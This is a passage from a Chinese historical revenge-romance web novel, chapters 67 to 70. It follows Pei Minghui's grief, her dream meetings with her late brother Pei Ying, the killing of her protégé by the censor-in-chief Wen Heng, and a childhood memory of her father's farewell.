所以裴明绘走的每一步,与温珩的每一次合作,所凭借的都是温珩现在还在为她编织着虚假温情的网,他必然不会在这个时候收网。 她赌得就是温珩想要坐收渔翁之利,想要获收全面之利。 她心里思虑的极多,考虑的也极多,加之喝了好多酒,头开始发昏,发晕。 她又想到了裴瑛。 心里便又开始疼。 然后身体的每一处都在疼。 她觉得自己大概是不可救药了。 当年裴瑛怎么走过来的,裴明绘的思维在疼痛中发散,他以戴罪之身一步步走过来,该有多么难。 裴明绘慢慢地走在行人寥寥的街道上,冷寂的银光月色铺满街道,青石砖幽幽地泛着光,像是积了小小一潭水,而这发冷发亮的月亮,也将她的心事照了个分明。 她的眼眶渐红,无声地哭着,她哭着往前走,不敢停下来歇一歇。 她像是一个无家可归的孩子,彷徨而又无助,走向遥远的充满未知与危险的未来。 她该怎么办? 她真的好累。 哥哥,她真的好累,她真得坚持不下去了。 可是路好远,她真的走不完了。 你说过,只要往前走,就一定会有希望的。 可是她没看见,真的看不见啊。 “姐姐……” 一个稚嫩的童音传了过来,裴明绘低下头,就见一个穿着破破烂烂粗布麻衣的小童提着站在一边,仰头看着她,脸上脏脏的,但那大大的眼睛映着澄澈的月色,像是波光粼粼的一汪池塘,分外干净。 “你为什么哭啊?” 裴明绘抬起手,用手背擦了擦眼泪,蹲下身子来,扶住小童的肩膀,将所有悲痛又咽了下去,可是说出的话语,却还是带着未消散的悲声:“小弟弟,怎么这么晚了还不回去,这个时间还出来不怕你娘担心啊。” “我没娘了。” 小童似乎很喜欢裴明绘的亲近。 “那你爹呢?” 裴明绘理了理小童的头发,将上面脏兮兮的尘土都擦去。 “家里总有人等着你呢,快回去罢,别让他们担心。” 小童笑了起来,露出白花花的牙齿,大大的眼睛弯了起来,揉皱了一池春水。 “我爹娘都死了,我家里已经没人了,姐姐不用担心我的。” 裴明绘猛然抬起眼帘来,看着这个身在苦中不知苦的孩子,瞳孔剧烈地颤动着。 “姐姐别哭。” 小童用脏兮兮的手去擦她的眼泪,裴明绘这才发现自己竟然?流了泪。 “姐姐赶快回家去罢,姐姐的家人也在等着姐姐呢。” 小童用裴明绘安慰他的话安慰裴明绘。 “姐姐……姐姐家里也没人了,姐姐的爹爹与哥哥也都死了,姐姐家里也只剩下姐姐一个人了。” 裴明绘的眼睛睁得大大的,眼泪圆滚滚地滚落下来,重重砸在青石砖上,摔得四分五裂粉身碎骨。 “姐……姐。” 小童不知所措地,连忙伸手去擦她的眼泪,可是她的眼泪却越擦越多。小童本就是小童,十分容易便被裴明绘的悲伤感染,或许他不懂她为什么难过,为什么悲伤,可是他就是想为她哭,也为自己哭。 “别哭……” 第67章 复仇第二 裴明绘伏在镜台之上, 白色的深衣用一条红色系带勾勒出纤腰,领口与袖口处缀着一条一寸长的赤色镶边,在红烛烛光的照耀之下, 隐隐约约闪烁着流云的纹样,乌云般的墨发自肩头垂下来, 一直葳蕤至铺地的红色地毡之上,像是蔓生的草叶。 —— 青衣随着冬日的冷风飘荡空中,裴瑛慢慢踱步在皑皑积雪之上。 他若有所思,余光偏过去,便见到了躲在柱子后的裴明绘。 “出来罢。” 裴瑛无奈地笑了笑,招呼裴明绘走过去。 裴明绘这才翩翩然地走了过去, 她双手交叠在一起, 宽大的白袖子垂下去,可就算如此,也遮掩不住她步子里的欢悦。 裴瑛的目光在她的面庞上梭巡片刻,一丝探究的意味如流星般滑过他漆黑的瞳眸:“你为什么总是带着面纱。” 裴明绘身子一紧, 随即转移视线, 支支吾吾半天, 也说不出个所以然来:“我……我……” 裴瑛笑了笑:“罢了,你既不想说,也就不想说了。” 他转过头去,负着手往前走着。 裴明绘急忙跟了上去, 她看着裴瑛的侧颜,看着天光雪光从天地四方而来,照亮了男子高雅却深远的神色, 落在眼底,却又映出一丝若隐若现的忧愁。 “为什么大人的梦里总是冬天呢?” 裴明绘凝望着他的容颜。 “冬天……” 裴瑛沉吟片刻, 遂笑道。 “或许现实里的时令是冬天罢。” 裴明绘点了点头:“大人,我听你的建议,寻了一位同族的年轻人,并托请故人好友为他在县里谋了个差事。” 裴瑛静静地听着裴明绘讲述着她最近所做的事,轻轻颔首:“你做的不错,不过你接下来要担心的,却是这个年轻人的人身安全。” “难道还有谁敢堂而皇之地害他吗?” 裴明绘十分不解地问道:“毕竟现在风声太紧,又有故人好友相护,怎么也能护得他的性命无虞罢。” 裴瑛:“未必。” 裴明绘:“还请大人指教。” “今你与那人是为仇家,将人塞进官府里,又在那人的视线之下,一不能有所作为,二会招致猜忌。”裴瑛的目光飘向了那极为澄澈的大雪初霁的蓝色天空,“我之建议,当是明里示好,暗里与其对手结盟,此事拖不得,当尽早去做,万不可被那人占尽先机。” “谢大人指点。” 裴明绘极为恭敬地向着裴瑛一揖。 “无事。” 裴瑛的目光重新放在了裴明绘身上,看着女子,眸光愈发深沉起来,看着她的眉眼,总是让他不自觉地想起另外一个人。 可是一想起她,他便是不可抑制地头疼起来。 “大人怎么了?” 裴明绘敏锐地察觉到裴瑛的情绪开始躁动起来,她急忙扶住裴瑛的肩膀,为他的身体提供了支撑。 “怎么总是头疼呢?” “无事。” 裴瑛接着裴明绘站直了身体,无奈地摇了摇头,语气也是深深的无奈,过去的那些从容不迫在此刻都消失得无影无踪:“只是家中事罢了。” 裴明绘立即联想到此时应当是自己误以为自己还在梦中,错吻了前来照看自己的哥哥。 他这么苦恼吗? 他的苦恼终究是为着她的,为着她的不听话,为着她的叛逆,为着她总是背离他的意愿。 不爱就是不爱,就算掩饰千遍万遍,也是不爱。 在经历过撕心裂肺的痛苦之后,裴明绘彻底通达了。 不爱就不爱罢。 这没什么重要的。 她笑了起来,眼睛眯成了一条弯弯的月牙,里面闪着粼粼的波光。 只要能够见到他,什么都不重要。 裴瑛正回首,将她眼中的情绪瞧了一个分明,一瞬间,他的情绪不可控制被她牵引,原本被忧愁,仇恨,苦恼等诸多情绪牵绊着的心,那沉寂得像是荒芜原野上一阵微风般的心跳,也在此时被冷风吹动,开始鲜活地跳动起来。 裴瑛原本不想问出口的,毕竟她的情绪总是大起大落的,突然间就高兴,突然就悲伤,根本就无从探究。 可是就在裴瑛撞见她直直望着自己的笑颜时,这句话却已经先自己的思维一步脱口而出:“你怎么这么高兴?” 女子先是一愣,而后笑容真挚却又苦涩,望着她的眸光是澄澈而没有一丝杂质的光亮:“因为见到大人,所以就忍不住高兴。” 裴瑛很是惊讶,一时有些说不出话来,可是她目光却是极为澄澈极为认真的,没有一丝暧昧,没有一丝谎言的杂质掺杂其间。 裴瑛转过头去,原本不想说话,但是觉得若是不答话,却是显得自己有些欲盖弥彰。 裴瑛淡淡地应了一声:“嗯。” 这轻轻的没有拒绝也没反驳的一句话,却瞬间让裴明绘的心猛地跳动起来,她的目光定定地看着被雪光勾勒出一层清澈光边的他的侧颜,想要看清他眼底的清晰,只可惜他的眸光被纤长浓密睫羽挡住。 她终究没有看见。 “大人的话,我会记得的。” 裴明绘高兴地简直不得了。 裴瑛的余光偏过去,看见她高兴成这幅模样,不由无奈叹气,只是这短而轻的一声叹息,却好似带着宠溺的余韵:“我说什么了,你竟高兴成这幅样子。” 裴明绘扬着头,语气都随着心底的高兴而飞扬起来,就连眉梢眼角都浸染了明朗的笑意:“那大人见到我,高兴吗?” 她的语气最后变得轻了起来,似乎也不确定自己是否有些鲁莽了。 她看着裴瑛,目光一瞬不离,她不确定,自己在不是他的妹妹之后,他是否还会对自己有那么一丝丝的不同与特别。 裴瑛慢慢地往前走着,他许久都没有说话,眼中闪烁着深沉的光晕。 裴明绘咽了咽口水,紧张到咬紧了嘴唇。 裴瑛似乎也没有想到,这个总是悲伤着的,似乎怀着天大心事的女子,竟会问自己这样的问题,他原本想要随意敷衍过去,可是话到了嘴边,却又咽了回去。 高兴吗? 裴瑛倏然一惊,他先前似乎并没有意识到自己的情绪的变化,可是此时此刻,他已经意识到了。 他沉默着。 裴明绘的心顿时高高地悬了起来,随着时间的挪移,又重重地摔了下去。 “是……是我冒昧……大……大人不必放在心上。” 裴明绘终究难过起来,心底的悲伤此起彼伏地叫嚣着,泪水氤氲在眼角,却又被她死死控制着,没有掉落下来。 或许,没了父亲的恩情,她或许与裴瑛永远都只是陌生人。 “我很高兴你能来。” 裴瑛的一句话,顿时叫裴明绘抬起头来,她不可置信地看着裴瑛,正对上他的眸光。 氤氲着泪光的眼瞳倒映着他温柔的秀色,以及那一双漆黑却纯粹的眼睛。 裴明绘呆愣愣地看着他。 这么一句简单的话,却令她流下泪。 就这样的每夜,裴明绘几乎都要在梦里与他相会,有的时候,她怕裴瑛烦她,一生气就不准她再入他的梦了,于是她便只远远地躲着,看着梦里的裴瑛,心里的不安却在加重。 这是真实的吗? 裴明绘不住地反问自己。 看着他孤绝而又料峭的身影,裴明绘却隐隐生出一种感觉。 他是真实的,他不是假的,他不是由自己思念构想出的幻影。 每每想到这里,裴明绘的心就跳得极快。 她在远处看着,看着一幕幕无比熟悉的情景滑过,以及那些自己根本就可能知道的隐秘的事也都出现在自己眼前。 他是真的。 当这个想法出现的霎那,裴明绘的心头开始疯狂地生长着一个念头。 她可以救他。 哪怕代价是她将失去一切。 —— 红烛乍灭,裴明绘骤然惊醒,冷汗浸透衣裳,她苍白的脸色浮起一抹病态的红晕,惊喜的颜色却漫上了瞳孔,化作起伏不歇的波涛,一下接着一下冲击她的心。 裴明绘几乎是喜不自胜,她看着自己颤抖的手,慢慢地涌颤抖着的思绪拼出一个可能来。 或许,她真的可以…… “长姐……” 门外传来裴宣之的声音瞬间打破了裴明绘的思绪,她收起外露的颜色,苍白的手一拂红纱,顿时红纱漫卷,将室内的景象挡了一个严实。 她走出内室,推开门,夏日的阳光争先恐后地涌了进来,一览无余地照亮的屋子外间,华丽却陈旧的插屏上彩绘着褪色的雀鸟,阳光照过来,它的羽毛却熠熠闪着光。 裴明绘仔细打量了眼前的裴宣之,见他面色略有些苍白,心中的不悦也就稍稍轻了些。 想必他是遇到了难处罢。 心里想到这,裴明绘的怒火也就消了一大半。 “你来做什么?” 裴明绘冷冷道。 “难道不知道我的屋子是不允许旁的人进来吗!” “长姐息怒。” 裴宣之诚惶诚恐地躬身行礼赔罪。 “宣之不是有意打扰长姐休息,只是宣之有些事,思来想去,却是总也想不明白,今此特来向家主请教。” 裴明绘:“说。” 裴宣之的目光似乎有些游移,裴明绘登时不满:“你到底有什么事要说。” 裴宣之仿佛惊醒一般:“回家主,宣之以为,今时今日,丞相位高权重,家主虽依仗御史大夫,在……在长安颇有盛名,可是双拳终究难敌四手……” “你什么意思?” 裴明绘蹙眉,她心思敏捷,一瞬间便明白了裴宣之的意思。 “你怕了?” 裴宣之虽说有野心也有敢于一博的勇气,但是毕竟他还没有经过多少风雨,也只是一个初出茅庐的年轻人,一时被气焰嚣张的强大敌人吓到也在所难免。 况且,他才刚从远离长安的偏远之地而来,哪里又见过长安的大风大浪呢? 裴明绘觉得自己不当对年轻人太过苛责,毕竟复仇之事,不可求急。 “不……不是。” 裴宣之有些结巴。 “好了好了。” 裴明绘抬手打断了他的结巴。 “你怕什么,就算真的出了事,也是我死在前面,我都不怕,你堂堂七尺男儿,你怕什么!哪有什么坐收渔利触手可得的富贵,你回去仔细想一想罢。” 裴宣之被裴明绘说得有些面红耳赤,躬身拱手也就退下了。 裴明绘看着他远去的身影,大有无奈之感,但是转念一想,天底下哪来那么多生来就精通权谋的人,多的是在名利场中起起伏伏的人罢了。 等裴宣之的身影彻底看不见了,裴明绘这才慢慢地倚靠着墙壁坐了下来,她几乎浑身都是冷汗。 她看见了,那幅画。 第68章 复仇第三 梦里冰雪消融春暖花开, 她自在梦里陪他,如痴如狂。 梦外大雪纷飞寒冬在临,她却是左支右绌, 进退不得。 春寒料峭,裴瑛并不喜热, 所以停芜居就算是在此般时节也当是清寒的,可是此时此刻却生起了六个径直六尺的大燎炉,每个大燎炉里面的木炭火都烧得红红的,由内而外蒸腾出暖烘烘的热气来,时而火花炸开的微弱声音,划破了满室的静瑟。 燎炉的红彤彤的光映照在她的并未遮掩的半张脸上, 像是敷了一层的暖色调的胭脂, 落在她漆黑涣散的瞳孔里,像是一色湖光。 裴明绘跪坐在书案的一侧,她出了神,发了呆, 一动也不动, 她甚至没有注意到裴瑛一直注视她的目光。 裴瑛倚在檀木凭几之上, 大部分的目光落在书案之上的书简之上,可是余光却还是忍不住偏向她。 火焰的光芒勾勒出他侧面优雅的轮廓,白皙洁净的肌肤泛着玉石一般的光泽,他的目光终于偏离了书简, 那双漆黑深邃的眼睛一瞬不离地看着裴明绘。 二人都默然静坐不语。 “你的脸色为何如此苍白?” 裴瑛直戳了当地问道。 裴明绘恍然一惊,仿佛从深沉的梦魇里骤然惊醒一般,她先是惊讶地张了张嘴, 而后又后知后觉地笑道:“春寒,怕是着了凉。谢大人关心, 我的身体,确是没什么大事的。” 裴瑛却并不吃她这一套,自她的眉眼之中,他看清了那紧紧缭绕的愁苦与烦闷,一直自瞳眸深入她的心底。 若是女儿家的烦心事,裴瑛自是不便问了,可是他却清晰的知道,此事,定是关涉到根本大事的事情。 而这位自称来自兰陵的明儿姑娘却这般遮遮掩掩,虽有天大的难处却不向他请教解决之法。 为什么呢? 裴瑛顿觉蹊跷,他看似随意地将目光投向她,隐隐约约的,他的心底陡然生起一阵迷雾来。 以往,他因尊重明儿,又兼之她的困局可以自行解决,方才对她的遮瞒一笑置之,可是随着她的眉间的忧愁愈加深浓,以至于让裴瑛的心中也不安起来。 而这种不安,竟然让裴瑛不能安坐于书案之后。 他抬起眼来,漆黑的眼睛里倏然闪过一丝波澜。 这个位在苍山之侧的兰陵县,到底是什么地方。 —— “你们守在这里,不准任何人进出。” 裴明绘吩咐甲士守在院子中的,各处出入口都守住。 等待一切准备完毕之后,裴明绘一挥手,左右立即山前,将紧闭的大门撞了开来。 门外的风卷了起来,带起片片飞扬的新雪,裴明绘几乎一刻也不能等待,风一般地往院子深处跑去。她传过院子蜿蜒的回廊,一路直往后院跑,穿过最后一道形态优美的月门,簌簌洁白的雪花飘然落下,遮掩住了台阶旧雪之上那斑驳的血迹。 一把长剑斜插在雪地之上,温珩不由皱眉,偏头循声看去,顺势向旁走了一步,脚下微动,便将长剑踩在脚下,长靴随意一题,长剑便横着插进雪里。 等到裴明绘匆匆赶来的时候,连最后一丁点血迹都看不见了。 大雪翩翩落下,庭院静谧非常,就是一丝人气也无。 温珩长身立在庭院之中,依旧是那深耀眼的红衣深衣,领口与袖口均有半寸长的玄色镶边,在雪光的映衬之下,显现出流云纹样。腰悬贝带,其下系着的白珩,则幽幽垂在腰下,身上披着深绯色的披风,在轻飘飘的冷风中飘荡。 金镳玉带,承恩紫微。位列三公,风光无限。 若问当今世间,又有几人,可与他相比。 温珩一挑眉,似乎有些意外她的到来,他往前走了一步,微笑道:“你怎么来了?” 裴明绘环视四周,只见庭院里白雪茫茫,并没有看见他的身影,呼吸都是一滞,她步步生风地踩过皑皑白雪,几乎还没有立定,一把就拽住了温珩的衣领,力气之大甚至都带得温珩的力气往前走一步。 裴明绘死死盯着温珩,近距离地看着他那张艳丽无害的面容,她的每一句话每一个词几乎都是在牙缝中迸发出来的。 “人呢,他人呢?” 她指的自然是失踪三日的裴宣之。 “不知道。” 温珩轻轻地握住她的手,却发觉她的手竟然冷得吓人,比漫天飘扬的而后落在他手上的雪花还要冷上三分。 裴明绘十分反感温珩的触碰,她猛地便想把手扯出来,但是手被温珩握在手里,她无论如何都扯不动:“松开!” 温珩眸光一暗,他的手足以将她的手紧紧包在掌心,愈发感受她手掌的冰冷,像是握了一掌心的新雪一般。温珩心中猛地一跳,一把便将裴明绘往前拉了一步,而后他的手指便不容抗拒地摁在了她的脉搏之上。裴明绘顿时有所察觉,警惕起来,想要后退,奈何二人力量差距犹如天壤之别,裴明绘就算用尽了浑身的力气,也没有办法挣脱开来。 随着血液流动脉搏跳动的声音,温珩表面那艳丽冷漠的面容裂出了一条的缝隙,他不可置信地怒吼道,原本温柔妩媚的声音也变得有些狰狞:“你疯了,你竟然用自己的血,你是不是真的不怕死。” “我疯了?”对于温珩的斥责,裴明绘浑然无觉,她只逼问温珩,想要知道裴宣之到底在何处:“我问你,他去哪了!” “我早就警告过你,这种东西是要夷三族的。”温珩的情绪隐隐开始激动起来,他的声调忍不住上扬的同时却又被强行压了下来,声调的巨大起伏形成了极强的割裂感,“难道你真的不怕吗!” “夷三族就夷三族,我倒想看御史大夫你怎么去找裴氏的三族!” 此问,正中裴明绘的下怀,她忍不住冷笑一声,极尽犀利的诘难道。 她并不能清晰的明白温珩的心情,可她却对场中的情势十分明白,故不在与他在此事上多做纠缠。 “御史大夫何故避而不谈,裴宣之在哪?” 温珩的表情十分复杂,他死死盯着裴明绘的眼睛像是隐隐有雷霆在闪电,他的胸膛有了极为明显起伏。 他在忍耐。 可是面对裴明绘挑衅逼问的眼神,温珩就再也无法压抑他这份来历不明且无任何凭依的怒火。 “是,裴宣之死了,是我杀的。” “什么!” 裴明绘所有的冷静瞬间荡然无存,她的声音变得犀利而又颤抖:像是残忍撕裂的布帛声,“你杀了他!” “是。” 温珩勾起唇,垂眸看向几欲栽倒的裴明绘:“你倒为他肝肠寸断,你可知,他要做什么?” “你凭什么杀了他!” 裴明绘只觉呼吸不畅,她无法接受那个自己精心挑选费心经营的裴宣之突然就死了,死的悄无声息,死的突如其来,甚至没有一丝丝准备,就这么死了。 “你又有什么权利杀了他!你当我是死的吗,你想杀就杀?!你难道就不怕我杀了你吗!” 一瞬间,裴明绘的心都空了,她无法明白,往日那个满腹抱负的裴宣之就这么死了。 裴明绘内心无比愤怒,她并不愿意知道裴宣之犯了什么错,为什么而死,她只知道,他死了,死在了眼前人手里。 温珩弯下腰来,优雅艳丽的唇形凑在她的耳边,缓缓吐出惊天动地的字句来。 裴明绘的目光一瞬间静止了,她不可置信地看向温珩。 “你说什么?” 裴明绘喃喃道,温热的吐息在冷风中凝成白雾,像是有形有色的幽灵,幽幽飘在空中。 “信与不信,全在你。” 温珩自身上解下披风来,仔细地披在裴明绘的身上,将肆意动荡的冷风挡去一些。 “我是在帮你,难道我的心,你至今尚且不明白吗?” 裴明绘抬起眼眸来,大大的眼睛分外空洞:“你是说,我亲近的信任的人背叛了我,但是你却一直站在我的身边?” 温珩不再说话,只看着裴明绘。 “你是说,他想举发我行巫蛊,只为谋求高官厚禄?” 她的声音有些嘶哑。 “你知道的,窦玉其人,贪戾奸邪,负力而骄,我虽有庇护裴宣之之心,可他毕竟在窦玉的眼皮子底下,窦玉知你恨他至深,故对裴宣之软硬兼施,又以其亲族做为胁迫,如此压迫之下,裴宣之难免生了攀附背离之心,故以你暗中行巫蛊之事作为投名状,来换取他的前途。” 温珩的手轻轻地捧住裴明绘的脸,看向她的眼神满是怜悯,他冰冷的手将她有些凌乱地头发捋至颈后,将落在她发上的晶莹的雪花轻轻拂落。 “现在,这世上,只有我,是真心为着你的。” 裴明绘仰着头,看着他,冰冷的风游窜在她的颈项,几乎冰冻了她的血液,让她的僵硬地不能动弹。 可是,想比于身体的寒冷,那种来自心底的恶寒,以及伴随着的心脏剧烈的收缩,却让裴明绘眼前一黑,几乎想要晕倒,可是全身上下的血液却被这冰冷的风雪凝固了。 事实是什么? 他背叛自己了吗? 不知道。 他为什么而死? 不知道。 可是唯一的清晰的事实却是他死了。 不明不白地被杀死了。 她甚至开始后悔,为什么要将这个无辜的年轻人牵扯进来,她明知道他并无才干,却依旧为了培植裴家的势力,联合朝中反对窦氏的诸多力量而去扶持他。 她曾经自信,她可以凭借着自己的斡旋,最基本的应当保他性命无恙。 可是事到如今,却是他身死魂消,不得好死。 第69章 复仇第四 这是第一次, 裴瑛收到来自兰陵的消息。 而裴瑛却并没有得到一星半点那个叫明儿的姑娘的消息。 裴瑛并不甘心,他又命人暗中走访调查,几乎将整个兰陵县都翻了一个遍, 却依旧都没有她的消息。 她就像是一个幽灵,世间没有她的半点痕迹。 可在他借普查东海兰陵户籍之时, 却更加意外发现了大量失踪的人口,而兰陵县的诸多官僚却并无一人据此上报朝廷,反而屡次遮掩,若无这次稽查,如此大量的人口失踪一案,定然被他们遮掩过去了。 裴瑛听完这个消息, 自是怒不可遏, 可他面上却是一丝情绪没有表露出来,一旁的下属也是义愤填膺,说是当即禀报皇帝,话还未说完, 裴瑛立即抬手, 止住了他的话头。 下属很是不解:“大人, 此事事关重大,若不及时处理,怕被他们销毁了证据。” “不,打草惊蛇, 此事必然不会了解。”裴瑛起身,“东海郡竟敢如此放肆,若是朝中无人, 倒也不合常理了。” 裴瑛在朝为官日久,练就了极为敏锐精确的政治嗅觉, 他已然从蛛丝马迹抓住了真相的一角,就利害而言,处理此事风险太大,他万不该在此波涛汹涌之时离开长安,更不该在此时插手此事,平白惹上祸事,可就本心而论,他却也不能放任不管,任由他们肆意地杀人害人。 这种抉择,实在极不是滋味。 裴瑛很清楚自己的处境,自己已经在被一步步地推出权利的中心,一步步地被卸掉手中的实权,然后眼睁睁地看着交由自己的对手,虽然这种权利的交接之在扑朔迷离的大雾里,外人看不真切,可是这些境况,裴瑛确实实实在在体会到了的。 此时此刻,为了大局,为了裴家的安危,他理当对此浑然无觉,或者静待事物的进一步恶化方才站出来救出罪魁祸首,并将自己的劣势转为道德制高点上的优势。 可是…… 可是他怎么能这样呢? 难道他为官数载,最后只学会了一个偃伏之术吗? 可笑可笑,什么时候你的行事也这般畏首畏尾了。 裴瑛闭上了眼睛,长长久久地闭上了眼睛。 —— 等到她再睁开眼睛的时候,眸中再无半点哀伤与游移,她被温珩抱在怀里,过来许久,她才缓缓伸出被冻得僵硬的手,地环抱住温珩,黑色的眼睫被雪花压得重重垂下,遮住了她眼眸中的滚滚翻滚着的情绪。 “我知道了,当今这天下,只有你是真心待我好的。” 且等着罢,且等着罢。 一场大火铺天盖地,直烧了颍川温氏的老宅,此次大火,震动朝野内外,与此同时,朝中再次涌动起暗潮来。 裴明绘懒散地倚在凭几之上 ,身上穿着素白色的中衣,身上随意盖着摊子,身旁的暖炉生得火热,这暖烘烘的颜色落在她的脸上,方才为她苍白的脸色添上了一丝血色。 她半闭着眼,看样子很是疲累。 可就在她睁开眼的时候,眼前是给她盖毯子的聂妩。 眼见裴明绘睁开了眼睛,聂妩便有些心惊,毕竟裴明绘最不喜的便是有人打搅她的梦,若是只是做梦也就罢了,可裴明绘越来越暴躁的脾气与越来越苍白的肌肤却让她隐隐担心起来。 虽然她的面上敷着厚厚的脂粉,但眉眼之间的疲态却是不可掩饰的。 聂妩正自担心裴明绘会不会因为被吵醒而发脾气,却发现她只是淡淡地睁开眼睛,然后又轻轻地闭上了,她轻轻地叹了口气,声音轻的仿佛梦呓一般:“什么事啊。” 聂妩这才放下心来,柔声说道:“前不久外头传来消息,说是温家走了水,告老还乡的温老大人不幸罹难,御史大夫正急着还乡奔丧呢,我朝正重孝道,温大人这丁忧三年后,这朝中的局势怕是更不利于小姐了。我以为,小姐当就此收手,若是真让窦丞相占了上风,小姐怕是没几天好日子过了。” 裴明绘用手撑着外斜的头,眼皮往下沉沉地坠着,时不时头也往下跌,说话也含糊起来:“我知道了,此……此事不必着急,依旧按……按既定……” 话还未说话,裴明绘便再度沉沉地睡了过去,头往身子歪去的时候立即被聂妩接住了。 眼见裴明绘彻底睡了过去,聂妩方才无声地哭了起来,她抱着裴明绘,让她不至于那么辛苦。 她知道裴明绘在做什么,她也知道她是的梦是什么。 她什么都知道,她可什么都做不了,她只能装作什么都不知道,奉着她的命,行着她的令,看着她一步步地走向复仇的深渊,渐渐陷进去。 每每她被打扰,免不了要发一通脾气,将人赶出去以后,便后伏在长案之上哭了起来,聂妩常常守在门外,听着那隐隐约约压抑着的哭声,往往也要流下泪来。 可她自裴宣之死后,却不曾流下过一滴眼泪,她不再宵衣旰食地为着朝政筹谋,不管黑夜白日大部分时间都在睡着,单纯地只睡着,就算将她吵醒,她大都一笑置之。 她似乎做好了某样准备。 当这个念头闪现在聂妩脑海里的时候,生生将聂妩吓了一跳。 她垂下眸去,凝神看去她苍白憔悴的睡颜,恍惚间,她又似乎想到了那年清澈的冬阳之下,二人的相识。 多少年了? 聂妩扬起头,眨了眨眼。 算起来,当有七年了。 七年了,七年的光阴,怎么就物是人非了呢? — 春水消融,原本上下友好的丞相与御史大夫也彻底撕开了和谐恭谨的假面,彼此展开了猛烈的交锋。 裴明绘很少出府,也很少见人。 她常日窝在屋子里,就昏昏沉沉地睡着,等待着,一日一日地数着日子。 她终日徘徊着,甚至变得两耳不闻窗外事,屋外的暗潮涌动得更加激烈。 可是她却依旧只在自家屋中徘徊。 一日接着一日,浸着血的红烛燃起,黄色的火焰在一阵妖娆的摇晃之后倏然盛大,映在昏黄铜镜中的复影却变了颜色。 或许终有一日,我们会再次相见。 裴明绘轻轻地将头搁在胳膊上,慢慢地闭上了眼睛。 漫天火花坠落,像是一簇簇盛放的梅花,裴明绘一眼便看见了。 可是就在她再次睁开的眼的时候,却是满眼浓白潮湿的秋雾,它静静的飘荡着。 裴明绘摸索着往下走去,绣履踩在被露水压弯了腰的枯草之上,将它们踩在地上,她四处环望着,想要寻一处出路。 太阳渐渐升起,浓稠的秋雾渐次稀薄起来,而在这日光的映照之下,裴明湖眼前方才显现出景物的轮廓来,翘角飞檐,亭台回廊,这是一处无比古朴的庭院,却也是裴明绘无比熟悉的居所。 裴明绘的心绪一下子激荡起来,她欢悦地游走在这里,看着这里的一草一木一砖一瓦都无比的熟悉。 这里是河东的裴府。 裴瑛幼时与洗刷冤屈后所居之处。 最后一丝缠绵的雾气散尽,清澈秋阳挥洒而下,金光浮漾在青砖碧瓦之上。 裴明绘的动作倏然一顿。 循着她的目光看去,站在廊下的是一个年幼的孩子,他呆呆地站在廊下,痴痴地看着那英武的将军与美丽的夫人,而后将军与夫人相携出府,府外旌旗飘飘战马嘶鸣,这是夫人要送自己的夫君去上漠北的战场。 孩子如风一般跑了过去,可是他却重重摔在了地上,怎么都站不起来,他只好拼命伸着手,盼望他们能够回头。 可是,一切终究是徒劳。 裴明绘跑了过去,可是呼啸的风雪却挡住了她的前路,漫天的雪花泼洒而下,纷纷扬扬回旋在她的身边,天地间的景象都为雪的帷幕所遮挡。 透过如同帘子一般的大雪,裴明绘的目光放在那隐匿在雪中的裴府,听着那嘶鸣的马声与押运罪犯的士卒的呵斥之声,后知后觉地,她似乎意识到了什么,猛地抬头一看。 那是长久未见,只能在梦中痛苦地思念着的人啊! “爹……” 裴明绘的心像是飘荡在白色的海洋里,无声地泪流满面。 过去的过去,过往的过往,那是铭刻在心底的所有思念,所有痛苦铺天盖地地翻涌而出。 明绘扬起头来,小小的鼻尖都冻得通红,黑色的眼珠盈满了泪珠看着明先生。 明先生身材修长面目俊雅,面上依旧凝着无可纾解的愁苦,他一只手牵着明绘的小手,另一只手拎着沉甸甸的包袱。 她的目光再次回望,看见那飞扬大雪中蜿蜒而行的囚徒队伍。 等着我。 她轻轻地说道。 “爹爹,裴家人会活下来吗?” 明绘紧紧握着明子玉的手。 “也许罢,也许一个都活不下来。也许会活下来一个。” 明先生走了几步,明绘便有些跟不上了,他便俯身将明绘抱在了怀里,步履踩过厚厚的积雪,发出嘎吱嘎吱的声音。 她紧紧抱着明先生的头,将头埋在他的颈部,一双黑溜溜的眼睛却直直地看着身后逐渐被大雪埋没的队伍。 哥哥,等我。 第70章 逆天改命 风雪萧萧, 依旧是梦里缭绕千百回的分离,明绘看着明子玉向着许昌文跪下,慢慢低下了他一贯清高的头颅。 明绘没有在哭, 她只是静静地看着。 明先生瘦削的脸庞紧绷着,手指也紧紧攥在一起, 指节泛起了白,他几乎是咬着牙说着说,“我虽有罪,罪不可恕,然明绘儿可怜,烦请许公收了她罢。” 明绘闭上眼睛。 自古情义难两全, 直到这个时候, 她才真正地原谅了父亲,心底里深植的痛苦才开始渐渐消散。 明先生颤巍巍地走出了温暖的正堂,风雪扑面而来,几乎要将他淹没, 他盈满泪光的眼睛望着漫天风雪, 满是痛苦与坚决。 他取出背后的行囊, 尘封已久的长剑出鞘,清亮的金铁振音几乎震碎周围风雪,光亮的剑面照出他泪流满脸的面容,而后他走进了茫茫风雪。 可就在往前迈出一步, 他的步子却又猛然停住,他回过头去,就见女孩站在风雪里, 深邃漆黑的眸子映着他的身影。 “还回来吗?” 浸着风雪寒意的孩童声音顿时让明先生的身体猛地一颤。 他的喉头哽咽了,精通文墨的明先生第一次说不出话来, 他看着眼前的女孩,不期然竟盈起泪来,温热泪水渐次退去温度,凝做冰晶,冷冷地缀在眼角。 “回来……明绘儿等着爹爹,爹爹很快来接你。” 真相太过残酷,明先生最终选择了说谎。 她还小,不能承受如此残酷的真相。 “不,你骗人。” 明绘心底道。 可是心里纵然有千般话要说,明绘却也一句话都没有说。 “好,绘儿等着爹爹。” 她只看着明子玉,看着那如此因为在梦中常常相会而无比熟悉却又如此因为分离太长而无比陌生的父亲,思来想去,她只露出一个大大的笑脸,这一幅笑脸,就像往常一样,她站着家门口等着明先生回家时的笑颜一样。 她什么都不懂,她只知道等父亲回来。 明子玉的牙关都要被咬碎,他拼命忍耐,心底翻涌的情绪却是惊涛骇浪,让他再也无法忍耐,他跑了过来,一把搂住明绘,将她紧紧抱在怀里。 就像失去她母亲的那一年,他紧紧抱着她。 他告诉她,母亲没有走,母亲只是去了很远的地方。 可这才,他也要走了,也要去很远很远的地方,永远也不会回来。 明绘感到明子玉的身体无比剧烈地颤抖着,她的肩膀也濡湿起来。 是他的泪水。 “对……对不起。” “爹爹哭什么,绘儿一定会等着爹爹的,就算是到天荒地老,也会一直思念爹爹的。” 明绘伸出冻得通红的手,轻轻地拍了拍明子玉颤抖不停地肩膀。 “爹爹就算没有明绘在身边,也一定也好好地生活,要照顾好自己,好不好。” 明子玉的肩膀更加颤抖,像是秋风中萧瑟的叶。 